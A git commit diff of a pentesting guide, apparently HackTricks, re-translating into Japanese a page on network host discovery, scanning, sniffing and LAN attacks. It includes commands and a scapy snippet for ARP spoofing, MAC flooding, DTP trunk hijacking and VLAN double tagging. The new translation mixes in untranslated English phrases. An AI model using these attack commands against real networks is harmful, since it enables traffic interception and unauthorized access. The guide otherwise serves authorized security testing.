Translated ['', 'src/generic-methodologies-and-resources/pentesting-netw

This commit is contained in:
Translator 2025-09-07 18:18:41 +00:00
parent d2013e0d1c
commit b9deca3287

View File

@ -1,4 +1,4 @@
# ネットワークのペンテスト
# Pentesting Network
{{#include ../../banners/hacktricks-training.md}}
@ -6,65 +6,67 @@
## 外部からホストを発見する
これは、**インターネット**から**応答しているIP**を見つける方法についての**簡単なセクション**です。\
この状況では、いくつかの**IPの範囲**(場合によっては複数の**範囲**)があり、**どのIPが応答しているか**を見つける必要があります。
これは**インターネット**上で**応答しているIP**を見つける方法についての**短いセクション**です。\
この状況では、ある**IPの範囲**(場合によっては複数の**レンジ**がスコープにあり、どのIPが**応答しているか**を特定したいだけです。
### ICMP
これは、ホストが稼働しているかどうかを発見するための**最も簡単**で**最速**な方法です。\
いくつかの**ICMP**パケットを送信し、**応答を期待**することができます。最も簡単な方法は、**エコーリクエスト**を送信し、応答を期待することです。これを単純な `ping` を使用するか、**範囲**のために `fping` を使用して行うことができます。\
また、**nmap**を使用して他のタイプのICMPパケットを送信することもできますこれにより、一般的なICMPエコーリクエスト-応答のフィルターを回避できます)。
これはホストが起動しているかどうかを確認するための**最も簡単**で**最速**の方法です。\
いくつかの**ICMP**パケットを送り、**応答を期待**します。最も簡単なのは**echo request**を送って応答を待つことです。単純な`ping`で行うか、`fping`を使って**範囲**に対して実行できます。\
また、`nmap`を使って他の種類のICMPパケットを送ることもできますこれは一般的なICMP echo request-responseへのフィルタを回避します)。
```bash
ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges
nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet mask requests
```
### TCPポート発見
### TCP Port Discovery
あらゆる種類のICMPパケットがフィルタリングされていることが非常に一般的です。そのため、ホストが稼働しているかどうかを確認するためにできることは、**オープンポートを見つけること**です。各ホストには**65535ポート**がありますので、「大きな」スコープがある場合、各ホストの**各ポート**がオープンかどうかをテストすることは**できません**。それにはあまりにも多くの時間がかかります。\
そのため、必要なのは**高速ポートスキャナー**[masscan](https://github.com/robertdavidgraham/masscan))と、**最も使用されるポートのリスト**です:
あらゆる種類の ICMP パケットがフィルタリングされていることは非常に一般的です。\
そのため、ホストが up かどうかを確認するためにできることは**try to find open ports**だけです。各ホストには**65535 ports**あるので、スコープが大きい場合、各ホストの**each port**が開いているかどうかをすべてテストすることは**cannot**で、非常に時間がかかります。\
そこで必要なのは**fast port scanner** ([masscan](https://github.com/robertdavidgraham/masscan))と、**ports more used:**のリストです。
```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
```
`nmap`を使ってこのステップを実行することもできますが、遅く、`nmap`はホストの識別に問題があります。
`nmap`でもこのステップを実行できますが、遅く、また `nmap` はホストが up であることを識別するのに問題があります。
### HTTPポート発見
### HTTP ポート探索
これは、**HTTP** **サービス**の発見に焦点を当てたいときに便利なTCPポート発見です
これは、HTTPサービスの発見に**集中したい**ときに有用なTCPポート探索です:
```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24
```
### UDPポート発見
### UDP Port Discovery
いくつかの**UDPポートが開いている**かどうかを確認して、**ホストにもっと注意を払うべきか**を判断することもできます。UDPサービスは通常、通常の空のUDPプローブパケットに**データを返さない**ため、ポートがフィルタリングされているのか開いているのかを判断するのは難しいです。これを判断する最も簡単な方法は、実行中のサービスに関連するパケットを送信することであり、どのサービスが実行されているかわからないため、ポート番号に基づいて最も可能性の高いものを試すべきです:
特定の **UDP port open** を確認して、ある **host.****pay more attention** すべきか判断することもできます。UDP services は通常、空の UDP probe packet に対して **don't respond****any data** を返さないため、ポートが filtered or open かどうかを判定するのは難しいです。これを判断する最も簡単な方法は、running service に関連する packet を送ることです。どの service が running しているか分からない場合は、port number に基づいて最も可能性の高いものを試してください:
```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable
```
提案されたnmapのコマンドは、**/24**範囲内のすべてのホストで**上位1000のUDPポート**をテストしますが、これだけでも**>20分**かかります。**最速の結果**が必要な場合は、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner)を使用できます:`./udp-proto-scanner.pl 199.66.11.53/24` これにより、**UDPプローブ**が**予想されるポート**に送信されます(/24範囲の場合、これにはわずか1分かかります_DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
前述の nmap ラインは、各ホストの **top 1000 UDP ports****/24** レンジ内でテストしますが、これだけでも **>20min** かかります。もし **fastest results** が必要なら、[**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner) を使うことができます: `./udp-proto-scanner.pl 199.66.11.53/24`
これはこれらの **UDP probes** をそれぞれの **expected port** に送信します(/24 range ではこれは約 1 分で完了します): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### SCTPポートディスカバリ
### SCTP Port Discovery
```bash
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn <IP/range>
```
## Wifiのペンテスト
## Pentesting Wifi
ここでは、執筆時点でのよく知られたWifi攻撃のガイドを見つけることができます:
ここでは、執筆時点で知られているすべての有名なWifi攻撃に関する良いガイドが見つかります:
{{#ref}}
../pentesting-wifi/
{{#endref}}
## 内部からのホスト発見
## 内部からのホスト発見
ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見すること**です。**どれだけのノイズ**を出すことができるか/出したいかによって、異なるアクションを実行できます:
ネットワーク内にいる場合、最初に行いたいことの一つは**他のホストを発見すること**です。どれだけの**ノイズ**を出せる/出したいかに応じて、さまざまな行動が考えられます:
### パッシブ
### Passive
接続されたネットワーク内ホストをパッシブに発見するために、これらのツールを使用できます:
接続されたネットワーク内ホストをパッシブに発見するために、これらのツールを使用できます:
```bash
netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log
@ -75,8 +77,8 @@ set net.show.meta true #more info
```
### アクティブ
[_**外部からホストを発見する**_](#discovering-hosts-from-the-outside) (_TCP/HTTP/UDP/SCTP ポート発見_) でコメントされた技術は、ここでも**適用可能**です。\
しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます:
この[_**Discovering hosts from the outside**_](#discovering-hosts-from-the-outside)_TCP/HTTP/UDP/SCTP Port Discovery_で説明した手法はここでも**適用できます**。\
しかし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます:
```bash
#ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs)
@ -96,35 +98,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6
alive6 <IFACE> # Send a pingv6 to multicast.
```
### Active ICMP
### アクティブな ICMP
外部からホストを発見する際にコメントされた技術([_**ICMP**_](#icmp))は、ここでも**適用可能**です。\
しかし、他のホストと**同じネットワーク**にいるため、**より多くのこと**ができます:
外部からのホスト発見_外部からのホスト発見_ ([_**ICMP**_](#icmp)))で述べた手法はここでも**適用できます**。\
しかし、他のホストと**同じネットワーク**にいるため、**さらに多くのこと**ができます:
- **サブネットブロードキャストアドレス**に**ping**を送信すると、pingは**各ホスト**に到達し、彼らは**あなたに応答**する可能性があります: `ping -b 10.10.5.255`
- **ネットワークブロードキャストアドレス**にpingを送信すると、**他のサブネット**内のホストを見つけることもできます: `ping -b 255.255.255.255`
- `nmap``-PE``-PP``-PM`フラグを使用して、**ICMPv4エコー**、**タイムスタンプ**、および**サブネットマスクリクエスト**をそれぞれ送信し、ホスト発見を行います: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
- サブネットのブロードキャストアドレスに**ping**を送ると、そのpingは**各ホスト**に届き、彼らは**あなたに****応答**する可能性があります: `ping -b 10.10.5.255`
- ネットワークブロードキャストアドレスにpingを送ると、**他のサブネット**内のホストも見つかる可能性があります: `ping -b 255.255.255.255`
- `nmap``-PE`, `-PP`, `-PM`フラグを使用して、それぞれ**ICMPv4 echo**、**timestamp**、および**subnet mask requests**を送ることでホスト探索を実行できます: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan**
Wake On Lanは、**ネットワークメッセージ**を通じてコンピュータを**起動する**ために使用されます。コンピュータを起動するために使用されるマジックパケットは、**MAC Dst**が提供され、その後同じパケット内で**16回繰り返される**だけのパケットです。\
この種のパケットは通常、**イーサネット0x0842**または**ポート9へのUDPパケット**で送信されます。\
**[MAC]**が提供されていない場合、パケットは**ブロードキャストイーサネット**に送信さブロードキャストMACが繰り返されることになります)。
Wake On Lanは、**network message**を介してコンピュータを**起動**するために使われます。コンピュータを起動するために使用されるmagic packetは、**MAC Dst**が指定され、そのMACが同一パケット内で**16回繰り返されている**だけのパケットです。\
この種のパケットは通常**ethernet 0x0842**か、**UDP**のポート9へのパケットで送られます。\
もし**no [MAC]**が指定されない場合、パケットは**broadcast ethernet**に送らブロードキャストMACが繰り返されます
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0842
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
```
## ホストのスキャン
深くスキャンしたいすべてのIP外部または内部発見したら、さまざまなアクションを実行できます。
深くスキャンしたいすべてのIP外部または内部特定したら、さまざまなアクションを実行できます。
### TCP
- **オープン**ポート: _SYN --> SYN/ACK --> RST_
- **クローズド**ポート: _SYN --> RST/ACK_
- **フィルタリングされた**ポート: _SYN --> \[NO RESPONSE]_
- **フィルタリングされた**ポート: _SYN --> ICMPメッセージ_
- **開いている** port: _SYN --> SYN/ACK --> RST_
- **閉じている** port: _SYN --> RST/ACK_
- **フィルタリングされた** port: _SYN --> [応答なし]_
- **フィルタリングされた** port: _SYN --> ICMP メッセージ_
```bash
# Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -138,12 +140,12 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
```
### UDP
UDPポートをスキャンするための2つのオプションがあります
There are 2 options to scan an UDP port:
- **UDPパケット**を送信し、ポートが**閉じている**場合は_**ICMP到達不能**_の応答を確認しますいくつかのケースではICMPが**フィルタリング**されるため、ポートが閉じているか開いているかの情報は受け取れません)。
- **サービス**からの応答を引き出すために**フォーマットされたデータグラム**を送信しますDNS、DHCP、TFTPなど、_nmap-payloads_にリストされています。**応答**を受け取った場合、ポートは**開いています**
- **UDP packet** を送信し、ポートが **closed** の場合に応答として _**ICMP unreachable**_ が返るかを確認します(多くの場合 ICMP は **filtered** されるため、ポートが closed か open かの情報を受け取れないことがあります)。
- **formatted datagrams** を送って **service** からの応答を引き出します(例: DNS, DHCP, TFTP など、_nmap-payloads_ に一覧があります)。**response** を受け取った場合、ポートは **open** です
**Nmap**は"-sV"を使用して両方のオプションを**混合**しますUDPスキャンは非常に遅いですが、UDPスキャンはTCPスキャンよりも遅いことに注意してください
**Nmap** は "-sV" を使ってオプションを **mix both** しますUDP スキャンは非常に遅いが、UDP スキャンは TCP スキャンより遅いことに注意してください:
```bash
# Check if any of the most common udp services is running
udp-proto-scanner.pl <IP>
@ -155,36 +157,36 @@ nmap -sU -sV -sC -n -F -T4 <IP>
nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time
```
### SCTPスキャン
### SCTP スキャン
**SCTP (ストリーム制御伝送プロトコル)** は、**TCP (伝送制御プロトコル)** と **UDP (ユーザーデータグラムプロトコル)** と共に使用されるように設計されています。その主な目的は、IPネットワーク上での電話データの輸送を促進することであり、**SS7 (信号システム7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7信号をIPネットワーク上で輸送することを目的とした**SIGTRAN**プロトコルファミリーのコアコンポーネントです。
**SCTP (Stream Control Transmission Protocol)** は **TCP (Transmission Control Protocol)** および **UDP (User Datagram Protocol)** と共に使用されるよう設計されています。主な目的は IP ネットワーク上での電話データの伝送を容易にすることで、**Signaling System 7 (SS7)** に見られる多くの信頼性機能を反映しています。**SCTP** は、SS7 信号を IP ネットワーク上で運ぶことを目的とする **SIGTRAN** プロトコルファミリーの中核コンポーネントです。
**SCTP** のサポートは、**IBM AIX**、**Oracle Solaris**、**HP-UX**、**Linux**、**Cisco IOS**、および **VxWorks** などのさまざまなオペレーティングシステムによって提供されており、通信およびネットワーキングの分野での広範な受け入れと有用性を示しています。
**SCTP** のサポートは **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS**, および **VxWorks** といったさまざまなオペレーティングシステムで提供されており、通信およびネットワーク分野での広い受容性と有用性を示しています。
nmapによって提供されるSCTPの2つの異なるスキャンは、_-sY_ と _-sZ_ です。
SCTP 向けのスキャンは nmap で 2 種類提供されています: _-sY_ と _-sZ_
```bash
# Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
```
### IDSとIPSの回避
### IDS IPS の回避
{{#ref}}
ids-evasion.md
{{#endref}}
### **より多くのnmapオプション**
### **nmap のその他のオプション**
{{#ref}}
nmap-summary-esp.md
{{#endref}}
### 内部IPアドレスの明示
### 内部IPアドレスの露出
**誤設定されたルーター、ファイアウォール、ネットワークデバイス**は、**非公開のソースアドレス**を使用してネットワークプローブに応答することがあります。**tcpdump**を利用して、テスト中にプライベートアドレスから受信したパケットを特定できます。具体的には、Kali Linuxでは、**eth2インターフェース**上でパケットをキャプチャできます。インターネットからアクセス可能です。NATやファイアウォールの背後にセットアップがある場合、そのようなパケットはフィルタリングされる可能性が高いことに注意が必要です。
**設定ミスのある routers、firewalls、network devices は、ネットワークプローブに対して nonpublic source addresses を使って応答することがあります。** **tcpdump** は、テスト中に private addresses から受信したパケットを識別するために使用できます。具体的には、Kali Linux 上では、パブリックインターネットからアクセス可能な **eth2 interface** でパケットをキャプチャできます。重要なのは、環境が NAT または Firewall の背後にある場合、こうしたパケットはフィルタされる可能性が高いという点です。
```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -192,11 +194,11 @@ listening on eth2, link-type EN10MB (Ethernet), capture size 65535 bytes
IP 10.10.0.1 > 185.22.224.18: ICMP echo reply, id 25804, seq 1582, length 64
IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
```
## スニッフィング
## Sniffing
スニッフィングでは、キャプチャされたフレームやパケットをレビューすることで、IPレンジ、サブネットサイズ、MACアドレス、およびホスト名の詳細を学ぶことができます。ネットワークが誤って構成されている場合や、スイッチングファブリックがストレス下にある場合、攻撃者はパッシブネットワークスニッフィングを通じて機密情報をキャプチャすることができます。
Sniffing により、キャプチャしたフレームやパケットを解析して IP 範囲、サブネットサイズ、MAC アドレス、ホスト名などの詳細を把握できます。ネットワークが誤設定されているか、スイッチングファブリックに負荷がかかっている場合、攻撃者は passive network sniffing を使って機密情報を取得することがあります。
スイッチされたイーサネットネットワークが適切に構成されている場合、ブロードキャストフレームとあなたのMACアドレス宛てのデータのみが表示されます。
スイッチド Ethernet ネットワークが適切に設定されている場合、見ることができるのはブロードキャストフレームと自分の MAC アドレス宛のトラフィックのみです。
### TCPDump
```bash
@ -204,7 +206,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
```
リモートマシンからSSHセッションを介してWiresharkをGUIとして使用し、リアルタイムでパケットをキャプチャすることもできます
リモートマシンからSSHセッション経由で、WiresharkをGUIとして使用しリアルタイムにパケットをキャプチャすることもできる
```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -220,17 +222,17 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
```
### Wireshark
明らかに
もちろん
### 認証情報のキャプチャ
### 認証情報の取得
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使用して、pcapまたはライブインターフェースから認証情報を解析できます。
[https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) のようなツールを使って、pcap や live interface から認証情報を解析できます。
## LAN攻撃
### ARPスプーフィング
### ARP spoofing
ARPスプーフィングは、マシンのIPが私たちのデバイスのMACであることを示すために、無償のARPレスポンスを送信することです。これにより、被害者はARPテーブルを変更し、スプーフィングされたIPに接続したいときに私たちのマシンに連絡します。
ARP Spoofing は gratuitous ARPResponses を送信して、あるマシンの IP が我々のデバイスの MAC であることを示す攻撃です。すると、victim は ARP table を変更し、その IP spoofed に接続しようとするたびに我々のマシンに接続します。
#### **Bettercap**
```bash
@ -246,25 +248,25 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1
```
### MAC Flooding - CAMオーバーフロー
### MAC Flooding - CAM overflow
スイッチのCAMテーブルをオーバーフローさせるために、異なるソースMACアドレスを持つ多数のパケットを送信します。CAMテーブルが満杯になると、スイッチはハブのように振る舞い始めすべてのトラフィックをブロードキャストします
多数の異なる source mac address を持つ packets を大量に送信して switch の CAM table をオーバーフローさせる。CAM table が満杯になると、switch は hub のように振る舞い、すべてのトラフィックを broadcasting するようになる
```bash
macof -i <interface>
```
現代のスイッチでは、この脆弱性は修正されています。
最新のスイッチではこの脆弱性は修正されています。
### 802.1Q VLAN / DTP攻撃
### 802.1Q VLAN / DTP 攻撃
#### ダイナミックトランク
#### Dynamic Trunking
**ダイナミックトランクプロトコル (DTP)** は、トランクを自動的に選択するためのリンク層プロトコルとして設計されており、スイッチがトランクモードTrunkまたは非トランクモードを自動的に選択できるようにします。**DTP** の展開は、しばしば最適でないネットワーク設計の指標と見なされ、必要な場合にのみ手動でトランクを構成し、適切な文書化を確保することの重要性を強調します。
**Dynamic Trunking Protocol (DTP)** はリンク層プロトコルとして設計され、トランキングを自動化し、スイッチがポートを自動的に Trunk モードまたは非 Trunk モードに選択できるようにします。DTP の展開はしばしば最適でないネットワーク設計の兆候と見なされ、必要な箇所でのみ Trunk を手動で設定し、適切にドキュメント化することの重要性を強調します。
デフォルトでは、スイッチポートはダイナミックオートモードで動作するように設定されており、隣接するスイッチからの要求があればトランクを開始する準備が整っています。セキュリティ上の懸念は、ペンテスターまたは攻撃者がスイッチに接続し、DTP Desirableフレームを送信してポートをトランクモードに強制する場合に生じます。このアクションにより、攻撃者はSTPフレーム分析を通じてVLANを列挙し、仮想インターフェースを設定することでVLANセグメンテーションを回避できます。
デフォルトでは、スイッチポートは Dynamic Auto モードに設定されており、隣接するスイッチからの要求があればトランキングを開始する準備ができています。pentester や攻撃者がスイッチに接続して DTP Desirable フレームを送信し、ポートを Trunk モードにさせるとセキュリティ上の問題が発生します。これにより攻撃者は STP フレームの解析を通じて VLAN を列挙し、仮想インターフェースを設定して VLAN の分割を回避できます。
多くのスイッチにデフォルトでDTPが存在することは、敵がスイッチの動作を模倣し、すべてのVLANのトラフィックにアクセスすることを可能にします。スクリプト[_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan)は、インターフェースを監視し、スイッチがデフォルト、トランク、ダイナミック、オート、またはアクセスポートモードのいずれにあるかを明らかにします。アクセスポートモードはVLANホッピング攻撃に対して唯一免疫のある構成です。このツールは、スイッチの脆弱性状態を評価します。
多くのスイッチで DTP がデフォルトで有効になっていると、攻撃者はスイッチの挙動を模倣して全ての VLAN のトラフィックにアクセスできるようになります。スクリプト [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) を使うとインターフェースを監視し、スイッチが Default、Trunk、Dynamic、Auto、または Access モードのどれかを示します。後者Accessは VLAN hopping attacks に対して唯一免疫のある構成です。このツールでスイッチの脆弱性状況を評価できます。
ネットワークの脆弱性が特定された場合、_**Yersinia**_ツールを使用してDTPプロトコルを介して「トランクを有効にする」ことができ、すべてのVLANからのパケットを観察することが可能になります。
ネットワークの脆弱性が確認された場合、_**Yersinia**_ ツールを使って DTP プロトコル経由で "enable trunking" を実行し、全 VLAN のパケットを観察できます。
```bash
apt-get install yersinia #Installation
sudo apt install kali-linux-large #Another way to install it in Kali
@ -277,20 +279,20 @@ yersinia -G #For graphic mode
```
![](<../../images/image (269).png>)
VLANを列挙するために、スクリプト[**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**を使用してDTP Desirableフレームを生成することも可能です。**いかなる状況でもスクリプトを中断しないでください。3秒ごとにDTP Desirableを注入します。** **スイッチ上で動的に作成されたトランクチャネルは5分間のみ存在します。5分後、トランクは切断されます。**
VLANs を列挙するに、スクリプト [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. D**o スクリプトをいかなる状況でも中断しないでください。 それは3秒ごとに DTP Desirable を注入します。 **スイッチ上で動的に作成された trunk チャネルは5分間しか持続しません。5分後に trunk は切断されます。**
```
sudo python3 DTPHijacking.py --interface eth0
```
私は**Access/Desirable (0x03)**がDTPフレームがDesirableタイプであることを示し、ポートにTrunkモードに切り替えるよう指示することを指摘したいと思います。また、**802.1Q/802.1Q (0xa5)**は**802.1Q**カプセル化タイプを示します。
I would like to point out that **Access/Desirable (0x03)** indicates that the DTP frame is of the Desirable type, which tells the port to switch to Trunk mode. And **802.1Q/802.1Q (0xa5** indicates the **802.1Q** encapsulation type.
STPフレームを分析することで、**VLAN 30とVLAN 60の存在について学びます。**
STPフレームを解析することで、**VLAN 30 と VLAN 60 の存在が分かります。**
<figure><img src="../../images/image (124).png" alt=""><figcaption></figcaption></figure>
#### 特定のVLANへの攻撃
#### 特定のVLANを攻撃する
VLAN IDとIP値を知ったら、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
DHCPが利用できない場合は、_ifconfig_を使用して静的IPアドレスを設定します
VLAN ID と IP 値を把握したら、**特定のVLANを攻撃するために仮想インターフェースを設定できます**。\
DHCP が利用できない場合は、_ifconfig_ を使って静的IPアドレスを設定してください
```
root@kali:~# modprobe 8021q
root@kali:~# vconfig add eth1 250
@ -325,153 +327,154 @@ sudo dhclient -v eth0.30
```
#### Automatic VLAN Hopper
議論された攻撃である**Dynamic Trunkingと仮想インターフェースを作成し、他のVLAN内のホストを発見する**は、ツールによって**自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
前述の攻撃である **Dynamic Trunking and creating virtual interfaces an discovering hosts inside** による他の VLAN 内のホスト検出はツールによって **自動的に実行されます**: [**https://github.com/nccgroup/vlan-hopping---frogger**](https://github.com/nccgroup/vlan-hopping---frogger)
#### Double Tagging
攻撃者が**被害者ホストのMAC、IP、およびVLAN IDの値**を知っている場合、彼は**フレームをダブルタグ**し、指定されたVLANと被害者のVLANでパケットを送信しようとすることができます。**被害者は攻撃者と接続できないため、攻撃者にとって最良の選択肢はUDPを介して通信すること**です。これにより、いくつかの興味深いアクションを実行できるプロトコルSNMPなどと通信できます。
攻撃者が被害ホストの **MAC, IP and VLAN ID of the victim host** を把握している場合、被害者の VLAN と攻撃者の VLAN を付与してフレームを **double tag a frame** し、パケットを送信することができます。被害者は攻撃者へ接続し返すことができないため、攻撃者にとっては **best option for the attacker is communicate via UDP**SNMP のような興味深い動作を行えるプロトコル)を使うのが最適です。
攻撃者の別のオプションは、**攻撃者が制御し、被害者がアクセス可能なIPを偽装してTCPポートスキャンを実行する**ことですおそらくインターネットを介して。その後、攻撃者は、被害者からのパケットを受信した場合、彼が所有する2番目のホストでスニッフィングを行うことができます。
別の選択肢として、攻撃者は **TCP port scan spoofing an IP controlled by the attacker and accessible by the victim**(おそらくインターネット経由)を実行することができます。そうすれば、攻撃者が所有する別のホストで被害者からのパケットを受信するかどうかを sniff できます。
![](<../../images/image (190).png>)
この攻撃を実行するには、scapyを使用できます: `pip install scapy`
この攻撃を実行するには scapy を使用できます: `pip install scapy`
```python
from scapy.all import *
# Double tagging with ICMP packet (the response from the victim isn't double tagged so it will never reach the attacker)
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
sendp(packet)
```
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
#### ラテラル VLAN セグメンテーションの回避 <a href="#d679" id="d679"></a>
もしあなたが直接接続している switch に **アクセスできる**なら、ネットワーク内の **VLAN セグメンテーションを回避**することが可能です。単純にポートを **trunk modetrunk** に切り替え、ターゲット VLAN の ID で virtual interfaces を作成し、IP アドレスを設定します。アドレスは動的に取得DHCPするか、静的に設定するかはケースによります。
もし**直接接続されているスイッチにアクセスできる**場合、ネットワーク内で**VLANセグメンテーションをバイパスする**能力があります。単に**ポートをトランクモードに切り替え**トランクとも呼ばれます、ターゲットVLANのIDを持つ仮想インターフェースを作成し、IPアドレスを設定します。アドレスを動的に要求するDHCPか、静的に設定することができます。ケースによります。
{{#ref}}
lateral-vlan-segmentation-bypass.md
{{#endref}}
#### Layer 3 Private VLAN Bypass
#### レイヤ 3 の Private VLAN バイパス
特定の環境、例えばゲスト無線ネットワークでは、**ポートアイソレーションプライベートVLANとも呼ばれる**設定が実装され、無線アクセスポイントに接続されたクライアント同士が直接通信できないようにされています。しかし、これらのアイソレーション対策を回避できる技術が特定されています。この技術は、ネットワークACLの欠如または不適切な設定を利用し、IPパケットがルーターを通じて同じネットワーク内の別のクライアントにルーティングされることを可能にします。
ゲスト無線ネットワークなどの特定の環境では、**port isolation (also known as private VLAN)** 設定が無線 access point に接続したクライアント同士の直接通信を防ぐために実装されています。しかし、これらの分離を回避できる技術が確認されています。この技術は、network ACLs の欠如や設定不備を突くことで、IP packets を router 経由で同一ネットワーク上の別のクライアントに到達させることを可能にします。
攻撃は、**宛先クライアントのIPアドレスを持ち、ルーターのMACアドレスを持つパケットを作成することによって実行されます**。これにより、ルーターはパケットをターゲットクライアントに誤って転送します。このアプローチは、被害者にアクセス可能なホストを制御する能力を利用してセキュリティの欠陥を悪用するダブルタグ攻撃で使用されるものに似ています。
攻撃は、**宛先クライアントの IP アドレスを含むが router の MAC address を持つパケット**を作成することで実行されます。これにより router は誤ってパケットをターゲットクライアントに転送してしまいます。この手法は Double Tagging Attacks で使われるものと類似しており、victim が到達可能な host を制御できることを利用してセキュリティ上の欠陥を突きます。
**攻撃の主要なステップ:**
**攻撃の主な手順:**
1. **パケットの作成:** ターゲットクライアントのIPアドレスを含むように特別に作成されたパケットを作成しますが、ルーターのMACアドレスを使用します。
2. **ルーターの動作を悪用:** 作成されたパケットはルーターに送信され、設定によりパケットがターゲットクライアントにリダイレクトされ、プライベートVLAN設定によるアイソレーションをバイパスします。
1. **パケットの作成:** ターゲットクライアントの IP アドレスを含みつつ router の MAC address を持つように特別に作成されたパケットを用意します。
2. **router の挙動を利用:** 作成したパケットを router に送ると、設定によっては router がそのパケットをターゲットクライアントにリダイレクトし、private VLAN による分離を回避します。
### VTP Attacks
VTPVLANトランキングプロトコルはVLAN管理を集中化します。VLANデータベースの整合性を維持するためにリビジョン番号を利用し、変更があるとこの番号が増加します。スイッチは、より高いリビジョン番号の設定を採用し、自身のVLANデータベースを更新します。
VTP (VLAN Trunking Protocol) は VLAN の管理を集中化します。VLAN データベースの整合性を維持するために revision numbers を使い、変更があるたびにこの番号がインクリメントされます。switch はより高い revision number を持つ構成を採用し、自身の VLAN データベースを更新します。
#### VTP Domain Roles
- **VTPサーバー:** VLANを管理します—作成、削除、変更を行います。ドメインメンバーにVTPアナウンスをブロードキャストします。
- **VTPクライアント:** VTPアナウンスを受信し、自身のVLANデータベースを同期します。この役割はローカルVLAN設定の変更が制限されています。
- **VTPトランスペアレント:** VTP更新に関与せず、VTPアナウンスを転送します。VTP攻撃の影響を受けず、リビジョン番号は常にゼロのままです。
- **VTP Server:** VLAN を管理し、作成・削除・変更を行います。ドメインメンバーに対して VTP アナウンスをブロードキャストします。
- **VTP Client:** VTP アナウンスを受け取り VLAN データベースを同期します。ローカルでの VLAN 設定変更は制限されます。
- **VTP Transparent:** VTP の更新には関与せず、VTP アナウンスを中継します。VTP 攻撃の影響を受けず、revision number は常にゼロのままです。
#### VTP Advertisement Types
- **サマリーアナウンス:** VTPサーバーによって300秒ごとにブロードキャストされ、重要なドメイン情報を含みます
- **サブセットアナウンス:** VLAN設定変更後に送信されます
- **アナウンスリクエスト:** VTPクライアントによってサマリーアナウンスを要求するために発行され、通常はより高い設定リビジョン番号を検出した際に行われます。
- **Summary Advertisement:** VTP Server が 300 秒ごとにブロードキャストする、ドメインの基本情報を運ぶアナウンス
- **Subset Advertisement:** VLAN 設定変更の後に送信されるアナウンス
- **Advertisement Request:** VTP Client が Summary Advertisement を要求するために発行するもので、通常はより高い configuration revision number を検出した際に行われます。
